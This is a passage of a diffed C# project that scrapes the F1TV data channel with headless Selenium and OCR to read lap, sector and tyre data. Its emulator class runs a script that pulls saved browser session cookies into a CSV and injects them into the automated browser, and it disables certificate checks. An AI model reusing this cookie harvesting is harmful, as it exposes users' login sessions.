using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using System.Drawing;
|
||||
|
||||
namespace Test_Merge
|
||||
{
|
||||
internal class DriverSectorWindow:Window
|
||||
{
|
||||
public DriverSectorWindow(Bitmap image, Rectangle bounds, int sectorId, bool generateEngine = true) : base(image, bounds,generateEngine)
|
||||
{
|
||||
Name = "Sector"+sectorId;
|
||||
}
|
||||
/// <summary>
|
||||
/// Decodes the sector
|
||||
/// </summary>
|
||||
/// <returns>the sector time in int (ms)</returns>
|
||||
public override async Task<object> DecodePng()
|
||||
{
|
||||
int ocrResult = await GetTimeFromPng(WindowImage, OcrImage.WindowType.Sector, Engine);
|
||||
return ocrResult;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
@@ -1,146 +0,0 @@
|
||||
# DriverTyresWindow.cs
|
||||
|
||||
``` cs
|
||||
/// Author : Maxime Rohmer
|
||||
/// Date : 08/05/2023
|
||||
/// File : DriverTyresWindow.cs
|
||||
/// Brief : Window containing infos about a driver's tyre
|
||||
/// Version : 0.1
|
||||
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using System.Drawing;
|
||||
|
||||
namespace Test_Merge
|
||||
{
|
||||
public class DriverTyresWindow:Window
|
||||
{
|
||||
private static Random rnd = new Random();
|
||||
int seed = rnd.Next(0, 10000);
|
||||
|
||||
//Those are the colors I found but you can change them if they change in the future like in 2019
|
||||
public static Color SOFT_TYRE_COLOR = Color.FromArgb(0xff, 0x00, 0x00);
|
||||
public static Color MEDIUM_TYRE_COLOR = Color.FromArgb(0xf5, 0xbf, 0x00);
|
||||
public static Color HARD_TYRE_COLOR = Color.FromArgb(0xa4, 0xa5, 0xa8);
|
||||
public static Color INTER_TYRE_COLOR = Color.FromArgb(0x00, 0xa4, 0x2e);
|
||||
public static Color WET_TYRE_COLOR = Color.FromArgb(0x27, 0x60, 0xa6);
|
||||
public static Color EMPTY_COLOR = Color.FromArgb(0x20, 0x20, 0x20);
|
||||
|
||||
public DriverTyresWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine)
|
||||
{
|
||||
Name = "Tyres";
|
||||
}
|
||||
/// <summary>
|
||||
/// This will decode the content of the image
|
||||
/// </summary>
|
||||
/// <returns>And object containing what was on the image</returns>
|
||||
public override async Task<object> DecodePng()
|
||||
{
|
||||
return await GetTyreInfos();
|
||||
}
|
||||
/// <summary>
|
||||
/// Method that will decode whats on the image and return the tyre infos it could manage to recover
|
||||
/// </summary>
|
||||
/// <returns>A tyre object containing tyre infos</returns>
|
||||
private async Task<Tyre> GetTyreInfos()
|
||||
{
|
||||
Bitmap tyreZone = GetSmallBitmapFromBigOne(WindowImage, FindTyreZone());
|
||||
Tyre.Type type = Tyre.Type.Undefined;
|
||||
type = GetTyreTypeFromColor(OcrImage.GetAvgColorFromBitmap(tyreZone));
|
||||
int laps = -1;
|
||||
|
||||
string number = await GetStringFromPng(tyreZone, Engine, "0123456789", OcrImage.WindowType.Tyre);
|
||||
try
|
||||
{
|
||||
laps = Convert.ToInt32(number);
|
||||
}
|
||||
catch
|
||||
{
|
||||
//We could not convert the number so its a letter so its 0 laps old
|
||||
laps = 0;
|
||||
}
|
||||
//tyreZone.Save(Reader.DEBUG_DUMP_FOLDER + "Tyre" + type + "Laps" + laps + '#' + rnd.Next(0, 1000) + ".png");
|
||||
return new Tyre(type, laps);
|
||||
}
|
||||
/// <summary>
|
||||
/// Finds where the important part of the image is
|
||||
/// </summary>
|
||||
/// <returns>A rectangle containing position and dimensions of the important part of the image</returns>
|
||||
private Rectangle FindTyreZone()
|
||||
{
|
||||
Bitmap bmp = WindowImage;
|
||||
int currentPosition = bmp.Width;
|
||||
int height = bmp.Height / 2;
|
||||
Color limitColor = Color.FromArgb(0x50, 0x50, 0x50);
|
||||
Color currentColor = Color.FromArgb(0, 0, 0);
|
||||
|
||||
Size newWindowSize = new Size(bmp.Height - Convert.ToInt32((float)bmp.Height / 100f * 25f), bmp.Height - Convert.ToInt32((float)bmp.Height / 100f * 35f));
|
||||
|
||||
while (currentColor.R <= limitColor.R && currentColor.G <= limitColor.G && currentColor.B <= limitColor.B && currentPosition > 0)
|
||||
{
|
||||
currentPosition--;
|
||||
currentColor = bmp.GetPixel(currentPosition, height);
|
||||
}
|
||||
|
||||
//Its here to let the new window include a little bit of the right
|
||||
int CorrectedX = currentPosition - (newWindowSize.Width) + Convert.ToInt32((float)newWindowSize.Width / 100f * 10f);
|
||||
int CorrectedY = Convert.ToInt32((float)newWindowSize.Height / 100f * 35f);
|
||||
if (CorrectedX <= 0)
|
||||
return new Rectangle(0, 0, newWindowSize.Width, newWindowSize.Height);
|
||||
|
||||
return new Rectangle(CorrectedX, CorrectedY, newWindowSize.Width, newWindowSize.Height);
|
||||
}
|
||||
//This method has been created with the help of chatGPT
|
||||
/// <summary>
|
||||
/// Methods that compares a list of colors to see wich is the closest from the input color and decide wich tyre type it is
|
||||
/// </summary>
|
||||
/// <param name="inputColor">The color that you found</param>
|
||||
/// <returns>The tyre type</returns>
|
||||
public Tyre.Type GetTyreTypeFromColor(Color inputColor)
|
||||
{
|
||||
Tyre.Type type = Tyre.Type.Undefined;
|
||||
List<Color> colors = new List<Color>();
|
||||
//dont forget that if for some reason someday F1 adds a new Tyre type you will need to add it in the constants but also here in the list
|
||||
//You will also need to add it below in the Tyre object's enum and add an if in the end of this method
|
||||
colors.Add(SOFT_TYRE_COLOR);
|
||||
colors.Add(MEDIUM_TYRE_COLOR);
|
||||
colors.Add(HARD_TYRE_COLOR);
|
||||
colors.Add(INTER_TYRE_COLOR);
|
||||
colors.Add(WET_TYRE_COLOR);
|
||||
colors.Add(EMPTY_COLOR);
|
||||
|
||||
Color closestColor = colors[0];
|
||||
int closestDistance = int.MaxValue;
|
||||
foreach (Color color in colors)
|
||||
{
|
||||
int distance = Math.Abs(color.R - inputColor.R) + Math.Abs(color.G - inputColor.G) + Math.Abs(color.B - inputColor.B);
|
||||
if (distance < closestDistance)
|
||||
{
|
||||
closestColor = color;
|
||||
closestDistance = distance;
|
||||
}
|
||||
}
|
||||
|
||||
//We cant use a switch as the colors cant be constants ...
|
||||
if (closestColor == SOFT_TYRE_COLOR)
|
||||
type = Tyre.Type.Soft;
|
||||
if (closestColor == MEDIUM_TYRE_COLOR)
|
||||
type = Tyre.Type.Medium;
|
||||
if (closestColor == HARD_TYRE_COLOR)
|
||||
type = Tyre.Type.Hard;
|
||||
if (closestColor == INTER_TYRE_COLOR)
|
||||
type = Tyre.Type.Inter;
|
||||
if (closestColor == WET_TYRE_COLOR)
|
||||
type = Tyre.Type.Wet;
|
||||
if (closestColor == EMPTY_COLOR)
|
||||
return Tyre.Type.Undefined;
|
||||
|
||||
return type;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
@@ -1,293 +0,0 @@
|
||||
# F1TVEmulator.cs
|
||||
|
||||
``` cs
|
||||
/// Author : Maxime Rohmer
|
||||
/// Date : 08/05/2023
|
||||
/// File : F1TVEmulator.cs
|
||||
/// Brief : Class that contains methods to emulate a browser and navigate the F1TV website
|
||||
/// Version : 0.1
|
||||
|
||||
using OpenQA.Selenium;
|
||||
using OpenQA.Selenium.Firefox;
|
||||
using OpenQA.Selenium.Interactions;
|
||||
using OpenQA.Selenium.Support.UI;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace Test_Merge
|
||||
{
|
||||
internal class F1TVEmulator
|
||||
{
|
||||
public const string COOKIE_HOST = ".formula1.com";
|
||||
public const string PYTHON_COOKIE_RETRIEVAL_FILENAME = "recoverCookiesCSV.py";
|
||||
public const string GECKODRIVER_FILENAME = @"geckodriver-v0.27.0-win64\geckodriver.exe";
|
||||
//BE CAREFULL IF YOU CHANGE IT HERE YOU NEED TO CHANGE IT IN THE PYTHON SCRIPT TOO
|
||||
public const string COOKIES_CSV_FILENAME = "cookies.csv";
|
||||
|
||||
private FirefoxDriver Driver;
|
||||
|
||||
private bool _ready;
|
||||
private string _grandPrixUrl;
|
||||
public string GrandPrixUrl { get => _grandPrixUrl; private set => _grandPrixUrl = value; }
|
||||
public bool Ready { get => _ready; set => _ready = value; }
|
||||
public F1TVEmulator(string grandPrixUrl)
|
||||
{
|
||||
GrandPrixUrl = grandPrixUrl;
|
||||
Ready = false;
|
||||
}
|
||||
private void StartCookieRecovering()
|
||||
{
|
||||
string scriptPath = PYTHON_COOKIE_RETRIEVAL_FILENAME;
|
||||
Process process = new Process();
|
||||
process.StartInfo.FileName = "python.exe";
|
||||
process.StartInfo.Arguments = scriptPath;
|
||||
process.StartInfo.UseShellExecute = false;
|
||||
process.StartInfo.RedirectStandardOutput = true;
|
||||
process.Start();
|
||||
string output = process.StandardOutput.ReadToEnd();
|
||||
process.WaitForExit();
|
||||
}
|
||||
public string GetCookie(string host, string name)
|
||||
{
|
||||
StartCookieRecovering();
|
||||
string value = "";
|
||||
List<Cookie> cookies = new List<Cookie>();
|
||||
using (var reader = new StreamReader(COOKIES_CSV_FILENAME))
|
||||
{
|
||||
// Read the header row and validate column order
|
||||
string header = reader.ReadLine();
|
||||
string[] expectedColumns = { "host_key", "name", "value", "path", "expires_utc", "is_secure", "is_httponly" };
|
||||
string[] actualColumns = header.Split(',');
|
||||
for (int i = 0; i < expectedColumns.Length; i++)
|
||||
{
|
||||
if (expectedColumns[i] != actualColumns[i])
|
||||
{
|
||||
throw new InvalidOperationException($"Expected column '{expectedColumns[i]}' at index {i} but found '{actualColumns[i]}'");
|
||||
}
|
||||
}
|
||||
|
||||
// Read each data row and parse values into a Cookie object
|
||||
while (!reader.EndOfStream)
|
||||
{
|
||||
string line = reader.ReadLine();
|
||||
string[] fields = line.Split(',');
|
||||
|
||||
string hostname = fields[0];
|
||||
string cookieName = fields[1];
|
||||
|
||||
if (hostname == host && cookieName == name)
|
||||
{
|
||||
value = fields[2];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return value;
|
||||
}
|
||||
public async Task<int> Start()
|
||||
{
|
||||
Ready = false;
|
||||
|
||||
string loginCookieName = "login";
|
||||
string loginSessionCookieName = "login-session";
|
||||
string loginCookieValue = GetCookie(COOKIE_HOST, loginCookieName);
|
||||
string loginSessionValue = GetCookie(COOKIE_HOST, loginSessionCookieName);
|
||||
|
||||
int windowWidth = 1920;
|
||||
int windowHeight = 768;
|
||||
|
||||
var service = FirefoxDriverService.CreateDefaultService(GECKODRIVER_FILENAME);
|
||||
service.Host = "127.0.0.1";
|
||||
service.Port = 5555;
|
||||
|
||||
FirefoxProfile profile = new FirefoxProfile();
|
||||
FirefoxOptions options = new FirefoxOptions();
|
||||
//profile.SetPreference("full-screen-api.ignore-widgets", true);
|
||||
//profile.SetPreference("media.hardware-video-decoding.enabled", true);
|
||||
//profile.SetPreference("full-screen-api.enabled", true);
|
||||
options.Profile = profile;
|
||||
profile.SetPreference("layout.css.devPixelsPerPx", "1.0");
|
||||
|
||||
options.AcceptInsecureCertificates = true;
|
||||
options.AddArgument("--headless");
|
||||
//options.AddArgument("--start-maximized");
|
||||
//options.AddArgument("--window-size=1920x1080");
|
||||
//options.AddArgument("--width=" + windowWidth);
|
||||
//options.AddArgument("--height=" + windowHeight);
|
||||
//options.AddArgument("-window-size=1920x1080");
|
||||
//options.AddArgument("--width=1920");
|
||||
//options.AddArgument("--height=1080");
|
||||
//profile
|
||||
|
||||
try
|
||||
{
|
||||
Driver = new FirefoxDriver(service, options);
|
||||
}
|
||||
catch
|
||||
{
|
||||
Ready = false;
|
||||
return 101;
|
||||
}
|
||||
|
||||
Actions actions = new Actions(Driver);
|
||||
var loginCookie = new Cookie(loginCookieName, loginCookieValue, COOKIE_HOST, "/", DateTime.Now.AddDays(5));
|
||||
var loginSessionCookie = new Cookie(loginSessionCookieName, loginSessionValue, COOKIE_HOST, "/", DateTime.Now.AddDays(5));
|
||||
|
||||
Driver.Navigate().GoToUrl("https://f1tv.formula1.com/");
|
||||
|
||||
Driver.Manage().Cookies.AddCookie(loginCookie);
|
||||
Driver.Manage().Cookies.AddCookie(loginSessionCookie);
|
||||
|
||||
try
|
||||
{
|
||||
Driver.Navigate().GoToUrl(GrandPrixUrl);
|
||||
}
|
||||
catch
|
||||
{
|
||||
//The url is not a valid url
|
||||
Driver.Dispose();
|
||||
return 103;
|
||||
}
|
||||
|
||||
//Waits for the page to fully load
|
||||
Driver.Manage().Timeouts().PageLoad = TimeSpan.FromSeconds(30);
|
||||
|
||||
//Removes the cookie prompt
|
||||
try
|
||||
{
|
||||
IWebElement conscentButton = Driver.FindElement(By.Id("truste-consent-button"));
|
||||
conscentButton.Click();
|
||||
}
|
||||
catch
|
||||
{
|
||||
//Could not locate the cookie button
|
||||
Screenshot("ERROR104");
|
||||
Driver.Dispose();
|
||||
return 104;
|
||||
}
|
||||
|
||||
//Again waits for the page to fully load (when you accept cookies it takes a little time for the page to load)
|
||||
//Cannot use The timeout because the feed loading is not really loading so there is not event or anything
|
||||
Thread.Sleep(5000);
|
||||
|
||||
//Switches to the Data channel
|
||||
try
|
||||
{
|
||||
IWebElement dataChannelButton = Driver.FindElement(By.ClassName("data-button"));
|
||||
dataChannelButton.Click();
|
||||
}
|
||||
catch
|
||||
{
|
||||
//If the data button does not exists its because the user is not connected
|
||||
Screenshot("ERROR102");
|
||||
Driver.Dispose();
|
||||
return 102;
|
||||
}
|
||||
|
||||
//Open settings
|
||||
// Press the space key, this should make the setting button visible
|
||||
// It does not matter if the feed is paused because when changing channel it autoplays
|
||||
actions.SendKeys(OpenQA.Selenium.Keys.Space).Perform();
|
||||
//Clicks on the settings Icon
|
||||
|
||||
int tries = 0;
|
||||
bool success = false;
|
||||
while (tries < 100 && !success)
|
||||
{
|
||||
Thread.Sleep(100);
|
||||
try
|
||||
{
|
||||
IWebElement settingsButton = Driver.FindElement(By.ClassName("bmpui-ui-settingstogglebutton"));
|
||||
settingsButton.Click();
|
||||
IWebElement selectElement = Driver.FindElement(By.ClassName("bmpui-ui-videoqualityselectbox"));
|
||||
SelectElement select = new SelectElement(selectElement);
|
||||
IWebElement selectOption = selectElement.FindElement(By.CssSelector("option[value^='1080_']"));
|
||||
selectOption.Click();
|
||||
success = true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
//Sometimes it can crash because it could not get the options to show up in time. When it happens just retry
|
||||
success = false;
|
||||
tries++;
|
||||
}
|
||||
}
|
||||
|
||||
if (!success)
|
||||
{
|
||||
Screenshot("ERROR105");
|
||||
Driver.Dispose();
|
||||
return 105;
|
||||
}
|
||||
|
||||
Screenshot("BEFOREFULLSCREEN");
|
||||
|
||||
//Makes the feed fullscreen
|
||||
//Driver.Manage().Window.Size = new System.Drawing.Size(windowWidth, windowHeight);
|
||||
Driver.Manage().Window.Maximize();
|
||||
WebDriverWait wait = new WebDriverWait(Driver, TimeSpan.FromSeconds(10));
|
||||
try
|
||||
{
|
||||
IWebElement fullScreenButton = Driver.FindElement(By.ClassName("bmpui-ui-fullscreentogglebutton"));
|
||||
fullScreenButton.Click();
|
||||
}
|
||||
catch
|
||||
{
|
||||
Screenshot("ERROR106");
|
||||
Driver.Dispose();
|
||||
return 106;
|
||||
}
|
||||
|
||||
Screenshot("AFTERFULLSCREEN");
|
||||
|
||||
//STARTUP FINISHED READY TO SCREENSHOT
|
||||
Ready = true;
|
||||
return 0;
|
||||
}
|
||||
public Bitmap Screenshot(string name = "TEST")
|
||||
{
|
||||
Bitmap result = new Bitmap(4242, 6969);
|
||||
try
|
||||
{
|
||||
//Screenshot scrsht = ((ITakesScreenshot)Driver).GetScreenshot();
|
||||
//profileriver.SetPreference("layout.css.devPixelsPerPx", "1.0");
|
||||
|
||||
//Screenshot scrsht = Driver.GetFullPageScreenshot();
|
||||
Screenshot scrsht = Driver.GetScreenshot();
|
||||
|
||||
|
||||
byte[] screenshotBytes = Convert.FromBase64String(scrsht.AsBase64EncodedString);
|
||||
MemoryStream stream = new MemoryStream(screenshotBytes);
|
||||
|
||||
result = new Bitmap(stream);
|
||||
//result.Save(name + ".png");
|
||||
scrsht.SaveAsFile(name + ".png");
|
||||
}
|
||||
catch
|
||||
{
|
||||
//Nothing for now
|
||||
}
|
||||
return result;
|
||||
}
|
||||
public void Stop()
|
||||
{
|
||||
Ready = false;
|
||||
Driver.Dispose();
|
||||
}
|
||||
public void ResetDriver()
|
||||
{
|
||||
Ready = false;
|
||||
Driver.Dispose();
|
||||
Driver = null;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
@@ -1,32 +0,0 @@
|
||||
# Form1.cs
|
||||
|
||||
``` cs
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Data;
|
||||
using System.Drawing;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Test_Merge
|
||||
{
|
||||
public partial class Form1 : Form
|
||||
{
|
||||
public Form1()
|
||||
{
|
||||
InitializeComponent();
|
||||
}
|
||||
|
||||
private void btnSettings_Click(object sender, EventArgs e)
|
||||
{
|
||||
Settings settingsForm = new Settings();
|
||||
settingsForm.ShowDialog();
|
||||
MessageBox.Show(settingsForm.GrandPrixUrl + Environment.NewLine + settingsForm.GrandPrixName + Environment.NewLine + settingsForm.GrandPrixYear);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
@@ -1,544 +0,0 @@
|
||||
# OcrImage.cs
|
||||
|
||||
``` cs
|
||||
/// Author : Maxime Rohmer
|
||||
/// Date : 08/05/2023
|
||||
/// File : OcrImage.cs
|
||||
/// Brief : Class containing all the methods used to enhance images for OCR
|
||||
/// Version : 0.1
|
||||
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Threading.Tasks;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Drawing2D;
|
||||
using System.Drawing.Imaging;
|
||||
|
||||
namespace Test_Merge
|
||||
{
|
||||
public class OcrImage
|
||||
{
|
||||
//this is a hardcoded value based on the colors of the F1TV data channel background you can change it if sometime in the future the color changes
|
||||
//Any color that has any of its R,G or B channel higher than the treshold will be considered as being usefull information
|
||||
public static Color F1TV_BACKGROUND_TRESHOLD = Color.FromArgb(0x50, 0x50, 0x50);
|
||||
Bitmap InputBitmap;
|
||||
public enum WindowType
|
||||
{
|
||||
LapTime,
|
||||
Text,
|
||||
Sector,
|
||||
Gap,
|
||||
Tyre,
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Create a new Ocr image to help enhance the given bitmap for OCR
|
||||
/// </summary>
|
||||
/// <param name="inputBitmap">The image you want to enhance</param>
|
||||
public OcrImage(Bitmap inputBitmap)
|
||||
{
|
||||
InputBitmap = inputBitmap;
|
||||
}
|
||||
/// <summary>
|
||||
/// Enhances the image depending on wich type of window the image comes from
|
||||
/// </summary>
|
||||
/// <param name="type">The type of the window. Depending on it different enhancing features will be applied</param>
|
||||
/// <returns>The enhanced Bitmap</returns>
|
||||
public Bitmap Enhance(WindowType type = WindowType.Text)
|
||||
{
|
||||
Bitmap outputBitmap = (Bitmap)InputBitmap.Clone();
|
||||
switch (type)
|
||||
{
|
||||
case WindowType.LapTime:
|
||||
outputBitmap = Tresholding(outputBitmap, 185);
|
||||
outputBitmap = Resize(outputBitmap, 2);
|
||||
outputBitmap = Dilatation(outputBitmap, 1);
|
||||
outputBitmap = Erode(outputBitmap, 1);
|
||||
break;
|
||||
case WindowType.Text:
|
||||
outputBitmap = InvertColors(outputBitmap);
|
||||
outputBitmap = Tresholding(outputBitmap, 165);
|
||||
outputBitmap = Resize(outputBitmap, 2);
|
||||
outputBitmap = Dilatation(outputBitmap, 1);
|
||||
break;
|
||||
case WindowType.Tyre:
|
||||
outputBitmap = RemoveUseless(outputBitmap);
|
||||
outputBitmap = Resize(outputBitmap, 4);
|
||||
outputBitmap = Dilatation(outputBitmap, 1);
|
||||
break;
|
||||
default:
|
||||
outputBitmap = Tresholding(outputBitmap, 165);
|
||||
outputBitmap = Resize(outputBitmap, 4);
|
||||
outputBitmap = Erode(outputBitmap, 1);
|
||||
break;
|
||||
}
|
||||
return outputBitmap;
|
||||
}
|
||||
/// <summary>
|
||||
/// Method that convert a colored RGB bitmap into a GrayScale image
|
||||
/// </summary>
|
||||
/// <param name="inputBitmap">The Bitmap you want to convert</param>
|
||||
/// <returns>The bitmap in grayscale</returns>
|
||||
public static Bitmap Grayscale(Bitmap inputBitmap)
|
||||
{
|
||||
Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
|
||||
BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
|
||||
int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
|
||||
|
||||
unsafe
|
||||
{
|
||||
byte* ptr = (byte*)bmpData.Scan0.ToPointer();
|
||||
for (int y = 0; y < inputBitmap.Height; y++)
|
||||
{
|
||||
byte* currentLine = ptr + (y * bmpData.Stride);
|
||||
for (int x = 0; x < inputBitmap.Width; x++)
|
||||
{
|
||||
byte* pixel = currentLine + (x * bytesPerPixel);
|
||||
|
||||
byte blue = pixel[0];
|
||||
byte green = pixel[1];
|
||||
byte red = pixel[2];
|
||||
|
||||
//Those a specific values to correct the weights so its more pleasing to the human eye
|
||||
int gray = (int)(red * 0.3 + green * 0.59 + blue * 0.11);
|
||||
|
||||
pixel[0] = pixel[1] = pixel[2] = (byte)gray;
|
||||
}
|
||||
}
|
||||
}
|
||||
inputBitmap.UnlockBits(bmpData);
|
||||
|
||||
return inputBitmap;
|
||||
}
|
||||
/// <summary>
|
||||
/// Method that binaries the input image up to a certain treshold given
|
||||
/// </summary>
|
||||
/// <param name="inputBitmap">the bitmap you want to convert to binary colors</param>
|
||||
/// <param name="threshold">The floor at wich the color is considered as white or black</param>
|
||||
/// <returns>The binarised bitmap</returns>
|
||||
public static Bitmap Tresholding(Bitmap inputBitmap, int threshold)
|
||||
{
|
||||
Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
|
||||
BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
|
||||
int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
|
||||
|
||||
unsafe
|
||||
{
|
||||
byte* ptr = (byte*)bmpData.Scan0.ToPointer();
|
||||
int bmpHeight = inputBitmap.Height;
|
||||
int bmpWidth = inputBitmap.Width;
|
||||
Parallel.For(0, bmpHeight, y =>
|
||||
{
|
||||
byte* currentLine = ptr + (y * bmpData.Stride);
|
||||
for (int x = 0; x < bmpWidth; x++)
|
||||
{
|
||||
byte* pixel = currentLine + (x * bytesPerPixel);
|
||||
|
||||
byte blue = pixel[0];
|
||||
byte green = pixel[1];
|
||||
byte red = pixel[2];
|
||||
//Those a specific values to correct the weights so its more pleasing to the human eye
|
||||
int gray = (int)(red * 0.3 + green * 0.59 + blue * 0.11);
|
||||
int value = gray < threshold ? 0 : 255;
|
||||
|
||||
pixel[0] = pixel[1] = pixel[2] = (byte)value;
|
||||
}
|
||||
});
|
||||
}
|
||||
inputBitmap.UnlockBits(bmpData);
|
||||
|
||||
return inputBitmap;
|
||||
}
|
||||
/// <summary>
|
||||
/// Method that removes the pixels that are flagged as background
|
||||
/// </summary>
|
||||
/// <param name="inputBitmap">The bitmap you want to remove the background from</param>
|
||||
/// <returns>The Bitmap without the background</returns>
|
||||
public static Bitmap RemoveBG(Bitmap inputBitmap)
|
||||
{
|
||||
Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
|
||||
BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
|
||||
int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
|
||||
|
||||
unsafe
|
||||
{
|
||||
byte* ptr = (byte*)bmpData.Scan0.ToPointer();
|
||||
for (int y = 0; y < inputBitmap.Height; y++)
|
||||
{
|
||||
byte* currentLine = ptr + (y * bmpData.Stride);
|
||||
for (int x = 0; x < inputBitmap.Width; x++)
|
||||
{
|
||||
byte* pixel = currentLine + (x * bytesPerPixel);
|
||||
|
||||
int B = pixel[0];
|
||||
int G = pixel[1];
|
||||
int R = pixel[2];
|
||||
|
||||
if (R <= F1TV_BACKGROUND_TRESHOLD.R && G <= F1TV_BACKGROUND_TRESHOLD.G && B <= F1TV_BACKGROUND_TRESHOLD.B)
|
||||
pixel[0] = pixel[1] = pixel[2] = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
inputBitmap.UnlockBits(bmpData);
|
||||
|
||||
return inputBitmap;
|
||||
}
|
||||
/// <summary>
|
||||
/// Method that removes all the useless things from the image and returns hopefully only the numbers
|
||||
/// </summary>
|
||||
/// <param name="inputBitmap">The bitmap you want to remove useless things from (Expects a cropped part of the TyreWindow)</param>
|
||||
/// <returns>The bitmap with (hopefully) only the digits</returns>
|
||||
public unsafe static Bitmap RemoveUseless(Bitmap inputBitmap)
|
||||
{
|
||||
//Note you can use something else than a cropped tyre window but I would recommend checking the code first to see if it fits your intended use
|
||||
Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
|
||||
BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
|
||||
int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
|
||||
|
||||
byte* ptr = (byte*)bmpData.Scan0.ToPointer();
|
||||
for (int y = 0; y < inputBitmap.Height; y++)
|
||||
{
|
||||
byte* currentLine = ptr + (y * bmpData.Stride);
|
||||
|
||||
List<int> pixelsToRemove = new List<int>();
|
||||
|
||||
bool fromBorder = true;
|
||||
|
||||
for (int x = 0; x < inputBitmap.Width; x++)
|
||||
{
|
||||
byte* pixel = currentLine + (x * bytesPerPixel);
|
||||
|
||||
int B = pixel[0];
|
||||
int G = pixel[1];
|
||||
int R = pixel[2];
|
||||
|
||||
if (fromBorder && B < F1TV_BACKGROUND_TRESHOLD.B && G < F1TV_BACKGROUND_TRESHOLD.G && R < F1TV_BACKGROUND_TRESHOLD.R)
|
||||
{
|
||||
pixelsToRemove.Add(x);
|
||||
}
|
||||
else
|
||||
{
|
||||
if (fromBorder)
|
||||
{
|
||||
fromBorder = false;
|
||||
pixelsToRemove.Add(x);
|
||||
}
|
||||
}
|
||||
}
|
||||
fromBorder = true;
|
||||
for (int x = inputBitmap.Width - 1; x > 0; x--)
|
||||
{
|
||||
byte* pixel = currentLine + (x * bytesPerPixel);
|
||||
|
||||
int B = pixel[0];
|
||||
int G = pixel[1];
|
||||
int R = pixel[2];
|
||||
|
||||
if (fromBorder && B < F1TV_BACKGROUND_TRESHOLD.B && G < F1TV_BACKGROUND_TRESHOLD.G && R < F1TV_BACKGROUND_TRESHOLD.R)
|
||||
{
|
||||
pixelsToRemove.Add(x);
|
||||
}
|
||||
else
|
||||
{
|
||||
if (fromBorder)
|
||||
{
|
||||
fromBorder = false;
|
||||
pixelsToRemove.Add(x);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
foreach (int pxPos in pixelsToRemove)
|
||||
{
|
||||
byte* pixel = currentLine + (pxPos * bytesPerPixel);
|
||||
|
||||
pixel[0] = 0xFF;
|
||||
pixel[1] = 0xFF;
|
||||
pixel[2] = 0xFF;
|
||||
}
|
||||
}
|
||||
|
||||
//Removing the color parts
|
||||
for (int y = 0; y < inputBitmap.Height; y++)
|
||||
{
|
||||
byte* currentLine = ptr + (y * bmpData.Stride);
|
||||
for (int x = 0; x < inputBitmap.Width; x++)
|
||||
{
|
||||
byte* pixel = currentLine + (x * bytesPerPixel);
|
||||
|
||||
int B = pixel[0];
|
||||
int G = pixel[1];
|
||||
int R = pixel[2];
|
||||
|
||||
if (R >= F1TV_BACKGROUND_TRESHOLD.R + 15 || G >= F1TV_BACKGROUND_TRESHOLD.G + 15 || B >= F1TV_BACKGROUND_TRESHOLD.B + 15)
|
||||
{
|
||||
pixel[0] = 0xFF;
|
||||
pixel[1] = 0xFF;
|
||||
pixel[2] = 0xFF;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
inputBitmap.UnlockBits(bmpData);
|
||||
return inputBitmap;
|
||||
}
|
||||
/// <summary>
|
||||
/// Recovers the average colors from the Image. NOTE : It wont take in account colors that are lower than the background
|
||||
/// </summary>
|
||||
/// <param name="inputBitmap">The bitmap you want to get the average color from</param>
|
||||
/// <returns>The average color of the bitmap</returns>
|
||||
public static Color GetAvgColorFromBitmap(Bitmap inputBitmap)
|
||||
{
|
||||
Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
|
||||
BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
|
||||
int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
|
||||
|
||||
int totR = 0;
|
||||
int totG = 0;
|
||||
int totB = 0;
|
||||
|
||||
int totPixels = 1;
|
||||
|
||||
unsafe
|
||||
{
|
||||
byte* ptr = (byte*)bmpData.Scan0.ToPointer();
|
||||
int bmpHeight = inputBitmap.Height;
|
||||
int bmpWidth = inputBitmap.Width;
|
||||
